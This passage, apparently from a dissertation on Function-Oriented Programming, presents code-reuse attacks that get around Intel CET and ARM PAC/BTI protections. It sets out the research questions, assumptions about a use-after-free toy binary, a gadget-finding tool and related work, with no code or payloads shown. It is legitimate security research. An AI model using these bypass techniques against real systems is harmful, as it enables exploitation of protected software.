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ABSTRACT 

Over the years, code reuse attacks such as return-oriented programming (ROP) and jump-

oriented programming (JOP) have been a primary target to gain execution on a system via buffer 

overflow, memory corruption, and code flow hijacking vulnerabilities. However, new CPU-level 

protections have introduced a variety of hurdles. ARM has designed the “Pointer Authentication” 

and “Branch Target Identification” mechanisms to handle the authentication of memory 

addresses and pointers, and Intel has followed through with its Shadow Stack and Indirect 

Branch Targeting mechanisms, otherwise known as Control-Flow Enforcement Technology. As 

intended, these protections make it nearly impossible to utilize regular code reuse methods such 

as ROP and JOP.  

The inclusion of these new protections has left gaps in the system's security where the use 

of function-based code reuse attacks are still possible. This research demonstrates a novel 

approach to utilizing Function-Oriented Programming (FOP) as a technique to utilize in such 

environments. The design and creation of the “FOP Mythoclast” tool to identify FOP gadgets 

within Intel and ARM environments demonstrates not only a proof of concept (PoC) for FOP, 

but further cements its ability to thrive in diverse constrained environments. Additionally, the 

demonstration of FOP within the Linux kernel showcases the ability of FOP to excel in complex 

and real-world situations. This research concludes with potential solutions for mitigating FOP 

without adversely affecting system performance. 
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CHAPTER 1 

INTRODUCTION 

As an attack methodology ages, the ability of organizations to detect exploitation 

attempts leveraging it becomes stronger. This trend can lead to a false sense of security 

stemming from the lack of novel methods. Identifying limitations or gaps in security mechanisms 

provides an opportunity to enhance existing protections, thereby fulfilling their intended purpose 

of ensuring the safety and security of a system. This chapter presents an overview of the current 

state of code-reuse attacks will explore and security protections. This chapter will then discuss an 

approach to bypass these protections with the Function-Oriented Programming (FOP) technique. 

While these protections excel in terms of their designed capabilities, there is a stark difference 

between being accurate to the specification and being secure. Examining these protections 

reveals security gaps and demonstrates areas where FOP is functional. This chapter will define 

the research and the approaches taken to defining FOP and its tooling in order to better examine 

code-reuse attacks in an age of modern CPU-based protections. 

Background of the Problem 

Memory corruption bugs are one of the oldest issues pertaining to memory-unsafe 

languages such as C and C++ (Szekeres et al., 2013). The usage of lower-level languages 

provides benefits such as speed and portability, but can lead to major vulnerabilities that can 

harm companies and computers alike (Alnaeli et al., 2016). Memory corruption vulnerabilities 

are not new, and have had several high-profile documented instances in the late 1990s, primarily 
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in publications from Aleph One (1996) and Zatko (1995). These techniques typically target an 

aspect of vulnerable code that, under the right circumstances, can lead to malicious use. Taking 

advantage of memory corruption vulnerabilities can lead to the complete compromise of a 

system. This hazard is the main reason for memory corruption vulnerabilities becoming the 

leading cause of system vulnerabilities in 2022 according to MITRE (MITRE, 2022). 

Overwriting essential values, such as the return address, of a running process may be 

possible depending on the type of memory corruption vulnerability. This could occur from a 

buffer overflow or writing out of memory in the stack. Typically, for a running process, the stack 

serves as a storage location for function variables and return addresses, organized in related 

chunks called frames for the chain of called functions. Overwriting these return addresses leads 

to the ability to divert execution control flow to attacker-wanted targets. An example of this 

would be the Return-into-Libc (Nergal, 2001) attack, in which the control flow is diverted to a 

Libc function for further functionality. This approach of overwriting return addresses can lead to 

more advanced techniques such as Return-Oriented Programming (ROP) (Shacham, 2007), 

which is the most common technique used today (Xu et al., 2020). ROP involves adding multiple 

return addresses to the stack, pointing to small sections of code known as gadgets. Chaining 

these gadgets together leads to the ability to create a functional program through the returns on 

the stack. 

The increase in the use of ROP has led to real-world applicable use cases like CVE-2020-

1020 (Jurczyk & Glazunov, 2021), where ROP was utilized to bypass protections and escalate 

privileges in a Windows environment. The need to limit the capabilities of ROP and other code-

reuse attacks has led to the design and implementation of hardware-based protections from both 

Intel and ARM. Intel’s Control-Flow Enforcement Technology (CET) (Garrison, 2020) and 
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ARM’s Pointer Authentication (PAC) and Branch Target Identification (BTI) support 

(Mujumdar, 2021; Qualcomm, 2017) have been designed to limit the capabilities of code-reuse 

attacks. To limit the attack scope, restrictions are set on a process’ stack and control flow. These 

protections have eliminated the ability to simply overflow a buffer into developing a ROP chain.  

The influence of CET and PAC/BTI comes from Control Flow Integrity (CFI) design 

systems. Limiting actions make it possible to restrict the path of execution in a program from an 

attacker-controlled flow to an acceptable flow within the compiled code (Garrison, 2020; 

Mujumdar, 2021). The problem arises when unidentified avenues in these acceptable code flows 

can still allow the same primitives available as ROP. 

The design and application of new security protections exaggerate the current security in 

place. While the use of CET and PAC/BTI has limited the use of normal code-reuse attacks 

(ARM, 2022). The application of more unique and specialized techniques can show the flaws in 

the design of systemwide securities. Identification of a method to circumvent the security 

protections demonstrates the true scope of the security enhancements. These methods can lead to 

further design and implementation methods to build safer systems.  

Statement of the problem with motivation 

The intended design of CET and PAC/BTI is to limit the ability to gain execution control 

from a memory corruption-based attack by hindering code-reuse attacks. The primary target of 

most memory corruption attacks are code-reuse techniques, but by limiting the scope and 

availability of such methods, there becomes a gap in the confidence a system and its actual  

security. The problem addressed by this research is the identification of gaps in CET and 

PAC/BTI where code-reuse attacks still exist. Exploring this gap leads to discovering areas of 
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protection that these systems are missing. Identifying and addressing these missing components 

leads to the ability to devise a potential solution to satisfy the original intent of the protections. 

As new systems begin to implement and adhere to the designs of CET and PAC/BTI, it 

becomes important to confirm that all the time and effort put into the design and implementation 

of these protections is fruitful and does not miss any conditions. Identifying gaps in existing 

protections allows for the development of effective solutions to address those gaps. These 

definitions can lead to further implementations in current and future systems. This allows for 

security in the future to be more dependable as there can be less dependence on the implicit 

definition of security. 

While ROP has led the way for code-reuse attacks since Shacham (2007) first 

demonstrated it, ROP has come to the point that code-reuse attacks can be limited in the fastest 

way with hardware-based protections. The problems occur when the designs and 

implementations do not cover all cases allowing for code-reuse techniques to slip through. This 

typically allows for the full capabilities of the techniques the protections were trying to limit to 

be usable regardless. 

Purpose of the research 

The purpose of this research has two main goals: The first is to examine the capabilities 

of Function-Oriented Programming (FOP) in an environment with modern CPU protections. The 

second is to utilize Design Science Research (DSR) to create the FOP Mythoclast, a tool to 

facilitate the identification and purpose of useful FOP gadgets. With the determination of these 

two main goals, this research shows that FOP is of use in a modern context with far-reaching 

possibilities. 

The performance of FOP falls under several main criteria: 
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• The multi-architecture support for FOP-based attacks. 

• The capabilities of FOP. 

• The applicable use in place of other common code-reuse attacks. 

• Real-world applicable use on a modern system. 

These points show the goals to prove the effectiveness of FOP. Being able to show the 

multi-architecture support, in this case, of ARM and Intel CPUs, demonstrates that the attack is 

able to work in environments with hardware protections to directly counter code-reuse-based 

attacks. To follow these guidelines, strict rules enforce adherence to the hardware protections. 

Further definitions of these guidelines appear later in the chapter and in further detail in Chapter 

3. The utility of FOP can be analyzed through the additional access and capability the attack 

affords, in past code-reuse-based attacks, a large design aspect of determining the capabilities of 

a code-reuse attack is by proving the Turing complete nature, or the ability to complete any 

computable action within code (Shacham, 2007). To show that FOP operates in place of other 

code-reuse attacks, FOP needs to have the capabilities to function in the place of ROP. This 

research analyzes this by determining points of usage for FOP in comparison to ROP.  

The decisive point of analysis for FOP is its applicable use in a real-world modern 

environment. In the past, FOP was shown to be useable against an application and vulnerability 

from 2006 (Guo et al., 2018). While this demonstrates the FOP technique is feasible, it does not 

give an example of a current real-world example where application design has changed in the 

last 15 years. To highlight improved usage in a modern design, this research uses a more 

complex environment and a recent CVE as the foundation for demonstrating the FOP attack. 

Together these criteria examine the performance of FOP for a better understanding of how the 

technique operates. 
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The second goal is the design and implementation of the FOP Mythoclast. The purpose of 

this tooling is to accompany and enhance the FOP technique. The identification of FOP gadgets 

is significantly more complex than similar code-reuse attacks such as ROP. When locating 

gadgets, most techniques take a backward approach. First, they identify the possible ending 

instruction and work backward to find instructions that would occur before building out the 

possible gadget. The FOP approach does not work this way as doing so would violate the 

hardware protections designed to stop code-reuse attacks. To implement a true FOP design, only 

the beginning of functions can act as the gadget, this causes an inherent reliance on an 

understanding of what a function does, how a function impacts memory, and what registers a 

function modifies. This forward approach opens the possibilities for unknown pathways to 

appear when locating gadgets, limiting the availability of previous techniques to find gadgets. 

The FOP Mythoclast solves this approach by utilizing a symbolic execution technique to 

determine the capabilities of a gadget.  

Significance of the Study 

The design of CET and PAC/BTI protections limit the use of code-reuse attacks. 

Demonstration of the capabilities of FOP within secure environments can reveal the gaps in these 

security mechanisms. This can lead to FOP having the same capabilities as other code-reuse 

attacks that CET and PAC/BTI limit. Showing that FOP is still useable in these environments, 

the identification of gaps in the protections allows for revisions to further the goal of limiting 

code-reuse attacks.  

As previous studies have shown that FOP is feasible in an x64 context (Guo et al., 2018), 

the application of FOP in different architectures, such as ARM, has importance. This capability 
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allows for the application of FOP to be comparable to previous code-reuse attacks and their 

scope of usage.  

Similar to other code-reuse techniques, FOP relies on the use of gadgets to execute an 

attack. This requires the identification of FOP gadgets to facilitate a successful attack. At the 

time of this writing, the FOP Mythoclast is the first of its kind to identify FOP gadgets through 

the use of symbolic execution. The only previous method at the time of this writing to identify 

FOP gadgets in an x64 environment utilized compiler plugins and static analysis to identify 

gadgets (Guo et al., 2018). The use of symbolic execution allows for the identification of gadgets 

in a timelier manner in comparison to static methods and allows for the identification of more 

complex gadgets in comparison to the compiler plugin approaches. 

Nature of the Study 

The outcome of this research is the implementation of the FOP technique and the design 

of tooling to support FOP gadget discovery. As previous research has shown that FOP is possible 

under the right circumstances (Guo et al., 2018; Lan et al., 2015), the main nature of this research 

centers around the utilization of FOP within modern CPU-based protection environments and the 

FOP Mythoclast. The implementation of the FOP Mythoclast adheres to the design science 

approach. Design science, as per Hevner et al. (2004), involves developing and assessing 

artifacts that are employed for addressing identified issues. Hevner et al. continue with defining 

this design approach with the statement of, new artifacts allow applying empirical and qualitative 

methods with the DSR methodology. The design of the FOP Mythoclast presents an original 

contribution to the code-reuse attack research space, as well as differentiating itself by solving all 

the goals associated with it. As described by Wierenga, design theories are implementations to 

explain how an artifact can be designed to satisfy all its requirements (2014).  
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The research findings enhance the credibility of the design science used by making 

significant research contributions. Hevner et al. describe this approach as having clear and 

verifiable contributions relating to the field of use (2004). Not only does the FOP Mythoclast fit 

this ideal, but the implementation also covers this. This research shows a novel approach to 

defining the use of FOP in a unique environment by defining a new target for the design of FOP 

in the form of modern CPU-based protections. This research further expands this ideal by 

designing an implementation of FOP in an ARM context, the first of its kind. These factors 

further cement the approaches defined in this research and the nature of this research. 

Research Questions 

This research defines the usage of FOP in modern CPU contexts and the creation and 

evaluation of FOP Mythoclast. As part of this, the main research question addressed in this 

research is, do FOP-based attacks work in a modern context with hardware-based protections in 

place of typical code-reuse attacks such as ROP? This research splits this main question into 

unique aspects to demonstrate the original aspects of this research: 

Is FOP feasible in an ARM context? 

Can FOP operate in a simplistic environment with a restricted gadget range? 

Is the approach to locating FOP gadgets possible? 

Can FOP be implemented in a real-world use case? 

This paper aims to address a variety of objectives to answer the main question above. The 

first of which is by demonstrating that FOP is implementable in simple “toy” binaries. This 

demonstration defines the use of FOP for attacking an application. This question is the foremost 

important as the simplistic nature of a toy binary allows for finer control of FOP under ideal 

conditions. The term "toy binary" in this research refers to a sample program intentionally 
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designed with a vulnerability to facilitate the practice of its execution. If the FOP framework 

cannot stand on its own in an environment with ideal conditions, there is no ground for the 

continuation of the attack. 

Continuing with the sub-questions is the approach of implementing FOP in an ARM 

context, as previous research has shown FOP to be possible in Intel x64 environments; at the 

time of this writing, no previous research has investigated the approach within ARM. This is of 

importance as ARM has a major market share in modern CPUs; for example, the ARM 

architecture was used as the architecture for one of the world’s fastest supercomputers 

(Matsuoka, 2021). Researching this question can help demonstrate that FOP is not architecture-

dependent and has capabilities across environments. 

The second sub-question is defined to show the capabilities of FOP, as shown in previous 

examples of FOP by Guo et al. (2018) the approach taken relied on convenient gadgets found in 

third-party libraries or the binaries themselves. To improve upon this, the FOP framework needs 

to show that it is usable in a wide variety of test cases and the simplest way to define this is to 

have a singular target found across multiple binaries. In a Linux environment, this is known as 

Libc, this is the defacto library loaded in most binaries at runtime to facilitate basic system 

functionality and binary loading. Demonstration of the full capabilities of FOP within this sole 

library makes FOP more akin to that of ROP, which has been shown to be Turing complete with 

Libc alone (Shacham, 2007). 

As defined as one of the artifacts of this research, the FOP Mythoclast design is meant to 

determine FOP gadgets and the applicable use of each gadget. To make this tool, a symbolic 

execution (Baldoni et al., 2018) approach has been determined to be the best way to implement 

this discovery of FOP gadgets. Through the use of symbolic execution of instructions, it becomes 
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possible to follow a flow of data between the registers, stack, and memory. Symbolic execution 

can determine if a current gadget is useable or feasible given a list of constraints that can occur 

while processing a gadget. This approach is well suited for the complex nature of FOP and 

contributes to the definition of FOP in modern contexts. 

Lastly is the question of if FOP is usable in a real-world context. While defining FOP to 

work in special instances, such as simplistic binaries and environments, shows that the attack is 

feasible, it does not prove the ability of FOP to replicate the capabilities of ROP in modern 

environments. To answer this question, an example FOP chain targets a unique real-world case 

where similar code-reuse attacks are functionally impossible to implement. The FOP Mythoclast 

supplements the design of this FOP chain with gadget detection and usage. Combining both 

factors of this FOP research displays FOP as a meaningful technique in the place of other code-

reuse techniques where modern CPU protections would eliminate their usage. 

Theoretical Framework 

Previous studies have been published about the approach of FOP, the main being from 

Guo et al. (2018) which coined the term FOP and implemented a design within a 64-bit context. 

While this is the first FOP-based research in a 64-bit context, two previous studies apply to 

FOP’s history.  

The first is a research by Tran et al. (2011), which was published to directly contradict a 

statement made by Shacham (2007) in the original proposal of ROP. The claim is that,  

In a Return-into-Libc attack, the attacker can call one Libc function after 

another, but this still allows him to execute only straight-line code, as 

opposed to the branching and other arbitrary behavior available to him with 

code injection. 



 11 

To prove this statement wrong Tran et al. were able to prove the complete nature of a 

Return-into-Libc attack by chaining functions together with no use of supporting gadgets (2011). 

This approach as defined, was to utilize the side effects of functions inherently to show the 

corruption of values and register states in a useful manner. Continuing in this approach, Tran et 

al. demonstrated the capabilities to chain functions together to gain confidence in demonstrating 

that the technique was Turing complete. Even with several different classifications for gadgets, 

Tran et al. did not give a clear definition of how they determined the usefulness of functions as 

gadgets. This research has a few drawbacks in comparison to modern systems. The first 

drawback is that Tran et al. instrumented this technique on a 32-bit system. This limitation 

originates from the use of 64-bit applications having vastly different applicable internal 

mechanisms. The first limitation is the number of general-purpose registers and the use of 

registers as function arguments. The second limitation is that Tran et al. (2011) utilized the stack 

as a framework to facilitate sequential function calls, this approach violates the main principle 

designs behind the hardware protections. Thus, the comparison of FOP and this advanced 

Return-into-Libc attack ends with the use of functional-based side effects. Even so, this was the 

first step in showing the conditions necessary for the FOP attack framework.  

Following this research, Lan et al. (2015) adapted this approach to further coincide with 

the current implementation of FOP as known in this research. Lan et al. designed their approach 

around utilizing a looping gadget to call a list of functions, they then named this technique after 

the looping gadget (2015). The name Lan et al. coined to define the technique is Loop-Oriented 

Programming (LOP). Lat et al. designed the technique around a 32-bit environment, but instead 

of directly using the stack as Tran et al. had done, their approach was to utilize a section of 

memory controlled by the user and an available looping gadget. In their approach, Lan et al. were 
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able to show the true first example of FOP. As mentioned, the attack shown by Lan et al. falls 

short when comparing a 32-bit instance to a 64-bit instance.  

Lan et al. claim that, as Tran et al. have already shown the use of functions to be Turing 

complete, that this instance was also Turing complete and continued to use similar gadgets as 

employed in Tran et al. While this claim may be technically correct, without truly showing that it 

is Turing complete in its own instance, there could be scrutiny over its veracity. This is based on 

the propagator of each attack, as Tran et al. utilized the stack to chain functions together they are 

able to better control arguments to functions. Lan et al. on the other hand, would need to 

supplement their function calls with their own parameters either by gadgets or during the looping 

gadget, both of which add larger degrees of difficulty to the attack. To help supplement this, Lan 

et al. utilized stack pivoting techniques to move the stack pointer around, which allowed the 

researchers to control the arguments of called functions to a better degree.  

The last aspect of the research by Lan et el. is to identify the impact of CFI on this attack 

framework. The main result is that this attack is possible in CFI implementations that can limit 

ROP and JOP-based attacks. While Lan et al. reference this, the proof from these claims is 

lacking as only descriptions of avoiding unbased returns and jumps are the basis of their 

approach to following coarse-grained CFI implementations.  

The most recent research was conducted by Guo et al., who coined the term Function-

Oriented Programming (FOP) (2018). Their approach is similar to the work of Lan et al., with the 

utilization of a loop-based gadget to call a chain of functions. This looping gadget is known as a 

dispatcher gadget. These functions then alter the state of a program through side effects to 

modify registers and memory in meaningful ways. Guo et al. displayed this technique against a 

64-bit application, but overall, the implementation has less impact than the previous two studies 
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in 32-bit environments. Guo et al. were able to demonstrate that FOP was possible in a test case 

with a vulnerability from 2006. This technique utilized several outside factors to load a 

secondary payload limiting the capabilities shown by FOP. The research by Guo et al. also 

describes the uses of FOP to bypass CFI implementations and mentions the capabilities against a 

shadow stack implementation by bypassing the corruption of return addresses that the shadow 

stack would track.  

The problems with the research done by Guo et al. derives from their identification of 

gadgets. The use of hypothetical gadgets weakens the demonstration of the gadgets by Guo et al., 

compared to gadgets found naturally within the environment. This approach overshadows the 

ability to show gadgets existing for use in a FOP-based attack and hinders the proof of useability. 

The other critique stems from the use of gadgets as mentioned earlier. Designing an attack 

around gadgets found in third-party libraries or applications limits the scope of FOP to a 

particular use case. While using all useful gadgets is more important in an environment during 

the demonstration of an exploit, this still limits the universal proof of FOP utilization and the 

ability to not need to depend on specific use cases where highly refined gadgets exist. Guo et al. 

did positively describe an algorithm to locate dispatcher gadgets for use in a FOP-based attack. 

Overall, this research is lacking in context to the previous two studies done in this category as 

well.  

Acronyms 

ROP: Return-Oriented Programming 

JOP: Jump-Oriented Programming 

(P)COP: (Pure) Call-Oriented Programming 

FOP: Function-Oriented Programming 
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CFI: Control Flow Integrity 

CFG: Control Flow Graph 

CPU: Central Processing Unit 

CET: Control-Flow Enforcement Technology 

PAC: Pointer Authentication Code 

PA: Pointer Authentication 

BTI: Branch Target Identification 

IBT: Indirect Branch Targeting 

PoC: Proof of Concept 

UAF: Use After Free 

GLIBC: GNU Libc 

Definitions 

Code-Reuse Attack: A code-reuse attack implies gaining control flow in a process and 

reusing compiled code as either intended or unintended. The ability to chain sections of code 

together under the right conditions gives this the ability to execute any command given a correct 

set of gadgets. ROP, JOP, and FOP are all examples of code-reuse attacks. 

ROP: Return-Oriented Programming is one of the original code-reuse attacks designed 

around the ability to utilize sections of code before a return instruction. Chaining gadgets 

together allows for a flow of execution to take place. Chains commonly require control of the 

stack or the stack register to hold the chain. 

JOP: Jump-Oriented Programming is the use of small sections of code before jump 

register instructions. Chaining gadgets together allows for execution to occur. JOP chains are 
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typically more complex than ROP chains and mostly depend on a dispatcher to load the next 

gadget from memory. 

PCOP: Pure Call-Oriented Programming is a code-reuse attack that uses gadgets built 

around register call instructions to chain instructions together.  

FOP: Function-Oriented Programming is the use of entire functions as the gadget in a 

code-reuse attack. This allows for the ability to bypass CFI implementations and other system 

protections. This attack relies on a dispatcher to load subsequent function calls. 

Gadget: A gadget is typically a section of code utilized to accomplish a goal. These goals 

can range from moving values between registers or memory to loading a value into a register for 

future use. 

Dispatcher: The dispatcher is the main runner of certain code-reuse attacks. The 

dispatcher oversees loading the next gadget in a chain and controls the entire flow of the attack. 

CET: Control-Flow Enforcement Technology is a CFI-based security approach designed 

by Intel. This includes the shadow stack and IBT implementations in Intel CPUs. 

Shadow Stack: The Shadow Stack is a secondary hardware-based stack to keep track of 

function return values. During a return instruction, identification of discrepancies between the 

process stack and shadow stack will cause a fault to occur. The technique limits code-reuse 

attacks that target the stack such as ROP. 

IBT: Indirect Branch Targeting is Intel’s approach to limiting code-reuse attacks that 

avoid returns, such as JOP and PCOP. Any indirect call or jump needs to land on an endbr 

instruction to avoid throwing a fault in the program. 

PAC: Pointer Authentication Codes, sometimes referred to as Pointer Authentication, is 

ARM’s implementation of CFI-based security. This approach is to limit memory corruption 
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vulnerabilities from escalating to more severe vulnerabilities. PAC is the use of using a 

cryptographic hash to sign and verify values in memory to confirm integrity. 

BTI: Branch Target Identification is ARM’s approach for dealing with branching code-

reuse, such as JOP and PCOP. This protection requires all indirect branches to land on a bti 

instruction. 

PoC: Proof of Concept is an example of the capabilities claimed. This can range from a 

wide range of capabilities based on the original claim. 

UAF: Use After Free is a heap vulnerability where a process can (re)use a piece of 

memory after it is freed. This can lead to further vulnerabilities and code execution under the 

correct circumstances. 

LIBC: The main library utilized by a Linux system to handle low level interactions with 

the system. 

Toy Binary: A sample program intentionally designed with a vulnerability to facilitate the 

practice of its execution. 

Assumptions 

The assumptions made in developing the FOP attack framework revolve around three 

main aspects. The first is the approach to deal with modern CPU protections, the second deals 

with the initial PoC to demonstrate the use of FOP against modern CPU protections, and the 

third is the environment for FOP in the initial PoC. These three assumptions will be the three 

main recurring principles that appear within the research of FOP and the FOP Mythoclast. 

The first assumption is based on the CPU protections of CET for Intel systems and 

PAC/BTI for ARM systems. The assumption focus on the use of gadgets found and utilized 

during FOP-based attacks. As both protection systems are in their infancy and have a limited 
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implementation compared to the theoretical full capabilities, this research only uses gadgets that 

work as if the testing system has all protections enabled at full capabilities. To oversee the two 

architectural protections, this research manages them separately. Regarding Intel, the shadow 

stack and IBT protection are the two main protections to consider. To address the shadow stack, 

all gadgets used in a FOP-based attack avoid modifying stack return values or the stack register. 

To address IBT, all FOP gadgets must begin with the ENDBR instruction, this is important as the 

dispatcher gadget used for FOP is reliant on an indirect call in an Intel environment. These two 

factors should be compliant with CET even in an environment that does not have full CET 

capabilities. ARM also has two restrictions, the first will be in relation to PAC. The assumption 

is that any PAC-verified values must pass correctly. This limits the attack from modifying the 

stack’s return address, as most return addresses utilize this authentication scheme after a function 

call. The second is based on BTI and is similar to the constraints imposed by Intel’s IBT. To 

limit our exposure to BTI violations, all gadgets must begin with the BTI instruction. These two 

factors in combination should allow for FOP to bypass the ARM-based protections identified in 

this research. These four restrictions make up the first assumption. 

The second assumption is based on the PoC and the “toy” binary used to demonstrate the 

initial capabilities of FOP. In this research, the toy binary has a Use After Free (UAF) 

vulnerability within the heap. Accordingly, this approach assumes that an attacker has the 

capabilities of an address leak and an arbitrary write into memory; the utilization of the UAF 

vulnerability allows for the ability to leak values of both the heap and of Libc, this UAF can also 

lead to the allocation of a chunk of memory at any address. This allows an attacker to write data 

to a controlled buffer. This assumption is only for the PoC to define the capabilities of FOP in a 

test environment and not be directly involved in the real-world example. 
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The final assumption involves the environment of the PoC. To demonstrate the 

capabilities of FOP and the ability for FOP to stand as its own attack framework, the FOP attack 

must show that it is versatile enough to work in many different environments. To quickly 

determine this, this research uses a common environment instead. This research defines a 

common environment as Libc and its loader. This definition means that all FOP-based gadgets 

must originate from this library. This restriction extends the attack to not only be possible within 

one Linux environment, but most, as Libc is the base library loaded at runtime for most dynamic 

binaries. 

Scope and Limitations 

The scope of this research is to determine the capabilities of FOP in modern systems 

while also designing a tool to enhance the capabilities of locating FOP gadgets for further 

research capabilities. This is determined by focusing on Linux-based environments operating 

with 64-bit CPUs and programs. This research demonstrates a PoC against the previously 

discussed vulnerable binary for both Intel and ARM instances to illustrate the capabilities of 

FOP. The demonstration is in a simplistic environment consisting of FOP gadgets only derived 

from Libc and its accompanying loader. This is further adapted to work with a real-world target 

to display the capabilities of FOP for use in a modern CPU context. 

As for the tooling, the goal is to further enhance FOP-based gadget finding. The design 

utilizes a symbolic execution framework to determine gadgets, which allows for the ability to 

include gadgets that include conditions as a basis of inputs. Having a better understanding of the 

underlying mechanisms that a gadget could employ leads to more useful gadgets and to faster 

FOP chain designs. 
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The limitations of this research revolve around the ability to evaluate systems that fully 

implement modern CPU protections. The strict restrictions on gadget use and emulation of CPU 

protection designs alleviate these limitations. Combining these two aspects allows for an 

approach to align with modern CPU protections. 

Chapter Summary 

This chapter has defined the context of the research and the approaches necessary to 

define FOP as a successful substitute for similar code-reuse attacks. Additionally, it determined 

the basis for what FOP shall accomplish and how to implement tooling to find FOP-based 

gadgets. As mentioned earlier in this chapter, there is a gap in reliable declarations of FOP in 

modern 64-bit CPU-based protection environments. This lack of knowledge of FOP attacks 

allows for better approaches to finding FOP gadgets and testing in simplistic Linux environments 

to better define the capabilities of FOP. The restrictions this research implements demonstrate 

the direct relation between FOP and CPU protections offered by both Intel and ARM. This 

defines the project as the research done to expand FOP-based attacks. 

The next chapter will begin to further refine the history and use of code-reuse attacks 

along with FOP. This conveys an understanding of how history has influenced the approaches 

needed to limit code-reuse attacks in the modern age. 
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CHAPTER 2 

RELATED WORK 

Chapter 1 gave an introduction and overall guidance on this dissertation while defining 

the main topic of this research: Examining the use of Function-Oriented Programming in 

environments with modern CPU protections. Chapter 1 defined the motivation and background 

of the research and the intended approaches to satisfy the solution.  

 Chapter 2 is the literature review of the main components related to this research. This 

chapter will start with a review of memory corruption, leading to code-reuse attacks, examine 

protections and designs to circumvent code-reuse attacks, and end with a further in-depth look at 

FOP. These topics together will culminate in an understanding of the background for the subject 

as well as giving a review of previous solutions and the history of the subject. 

Memory Corruption 

While some vulnerabilities listed under the memory corruption class can lead straight to 

system compromise, many vulnerabilities require skill and finesse to gain execution on a system. 

The complexity of an exploit typically depends on the system protections at hand, such as 

DEP/NX (Alvinashcraft et al., 2022; QuinnRadich, 2021), and ASLR (Kaspersky, 2023). Other 

factors can influence the type of memory corruption vulnerability available, such as heap-based 

and stack-based attacks. The scope of the vulnerability determines the type of exploit used. 

Heap-based vulnerabilities target objects or pointers found within the heap (NIST, 2021). 

Heap-based attacks can also target the metadata surrounding allocated chunks, leading to an 
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onslaught of vulnerabilities as seen from the GitHub repository How2Heap (Shellphish, 

2016/2023). Several of the techniques in the repository stem from memory corruption 

vulnerabilities, such as Use After Free, Double Free, and Heap Spray attacks. 

Stack-based vulnerabilities can be exploited by corrupting or overwriting variables and 

pointers stored on the stack (Aleph One, 1996). An adversary can exploit these vulnerabilities to 

gain execution using techniques such as Return-into-Libc (Designer, 1997; Nergal, 2001), One 

Gadgets (David942j, 2017), and code-reuse attacks like Return-Oriented Programming 

(Shacham, 2007), Jump-Oriented Programming (Bletsch et al., 2011; Checkoway et al., 2010), 

and Pure-Call-Oriented Programming (Sadeghi et al., 2018) to name a few. 

Symbolic execution 

Finding memory corruption vulnerabilities in code bases can be a difficult task (Gens et 

al., 2018). Some code bases are thousands of lines of code long and others are closed source or 

proprietary; this limits the ability of researchers to quickly identify and fix memory corruption 

vulnerabilities in a timely manner. A known method to locate vulnerabilities in large code bases 

or proprietary software is through the use of fuzzing (Zhu et al., 2022). Fuzzing can identify 

unique code paths within a program and potentially uncover vulnerabilities by running a diverse 

set of test cases during multiple process executions. 

Normally to execute programs on a system, several steps must occur at load time. Parsing 

headers, loading symbols, and creating memory regions of the process are a few examples. 

Exploring different branches of execution within a code base through a large number of attempts 

can be costly in terms of processing. Symbolic execution is another approach to this problem. 

The benefit of symbolic execution comes from the ability to interpret instructions without 

requiring the complexity of correctly initializing a binary in every instance.  
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Symbolic execution is the process of interpreting instructions as logical operations 

without running the full process (Avgerinos et al., 2014). The use of symbolic execution to find 

bugs in software has gained popularity, especially in conjunction with fuzzing, such as finding 

input to crash a process (Cadar et al., 2006; Godefroid et al., 2005), and automatically generating 

corpora for fuzzing (Ognawala et al., 2019).  

The benefits of symbolic execution come from running a section of code without 

requiring prior setup and being able to determine unique code paths symbolically (Shoshitaishvili 

et al., 2016b). Tools are available which utilize symbolic execution in a multitude of ways, two 

of which were used in the DARPA Cyber Grand Challenge (Fraze, 2016): angr (Shoshitaishvili 

et al., 2016b) and S2E (Chipounov et al., 2012).  

CPUs and Protections 

The Central Processing Unit (CPU) is the main aspect of a computer in charge of 

handling the instructions and their operations on the system. There are two families of instruction 

sets that CPUs operate on, RISC and CISC. 

RISC systems are designed for simplicity and speed of simple operations; this typically 

leads to higher performance per watt (ARM, 2023). Part of this simplicity is that RISC 

processors execute one instruction per cycle, giving an optimized approach to execution time. 

RISC instructions have a fixed length and do not have complex instruction decoding logic. This 

enables higher availability of general-purpose registers and less time spent accessing memory 

through load and store instructions (ARM, 2023). 

CISC systems, on the other hand, take a different approach. CISC processors can include 

more complex instructions that take multiple cycles to execute (Roberts, 2000). With the ability 

to have more complex instructions, the ability to lower the number of instructions needed to 
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complete an operation is possible. The benefits from this also coincide with the compiler having 

to operate less heavy lifting from the higher-level language to the lower-level assembly language 

(Roberts, 2000). 

ARM & Intel 

ARM is a RISC-based architecture commonly found in cellular devices, recently 

spreading to personal computers and servers (Ian King & Dina Bass, 2020). The benefit of a 

RISC-based language is the simplicity and speed advantages associated with a simpler 

instruction set (ARM, 2023). In ARM, these instructions are handled at 4-byte offsets for 

standard mode or 2-bytes for thumb mode (ARM, 2004). Newer specifications of 64-bit ARM 

systems also have the advantage of 31 general-purpose registers (ARM, 2015). 

Intel is a more commonly known and used standard architecture, currently leading the 

way in personal computers and infrastructural support (Red Hat, 2022). The instruction set is of 

the CISC variety and as such does not pertain to a strict size or instruction set limits (Roberts, 

2000). There can be more complex instructions for niche topics but can be heavily specialized as 

well. Compilers can benefit from the reduction in the number of instructions needed to complete 

an operation, as it reduces the amount of work required to convert to lower-level code. 

ARM: Pointer Authentication 

As software-based protections continue to grow, hardware protections need to grow as 

well. As found with hardware-based vulnerabilities such as Meltdown and Spectre (Kocher et al., 

2019; Lipp et al., 2020), it becomes difficult from both a processing and security sense to solve 

these problems solely at the software layer (Efe & Güngör, 2019). This leads to the hardware 

components such as the CPU becoming the main avenue to alleviate software-based protection 

performance issues.  
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In recent years, ARM has set a good example for new improvements to their standard to 

include new protections and standards that can embrace methodologies on a system (Harrod, 

2021). Pointer Authentication (PA) or Pointer Authentication Code (PAC) is an ARM protection 

introduced in ARM version 8.3 (Qualcomm, 2017). The specification of which defines the use of 

a cryptographic hash to authenticate a pointer stored in memory as a means to reduce memory 

corruption attacks. Apple has incorporated this technology into its recent systems and kernel 

versions (including iOS versions ((Apple, 2023)), and other companies such as Broadcom are 

also planning on releasing CPUs that include this protection as well (Qualcomm, 2017).  

The technique works by first taking either a value or a pointer to an address. The system 

then hashes this value with a random hardware key that the user is unaware of. To remember this 

PAC signature, the code is then stored in the uppermost bits of the address (Qualcomm, 2017). 

Using this hashed data, it is possible to determine if something has corrupted a memory address 

or value. This feature helps to define the authenticity of data in memory. Implementation of such 

features requires the use of new instructions. Designing the new instructions to use the NOP 

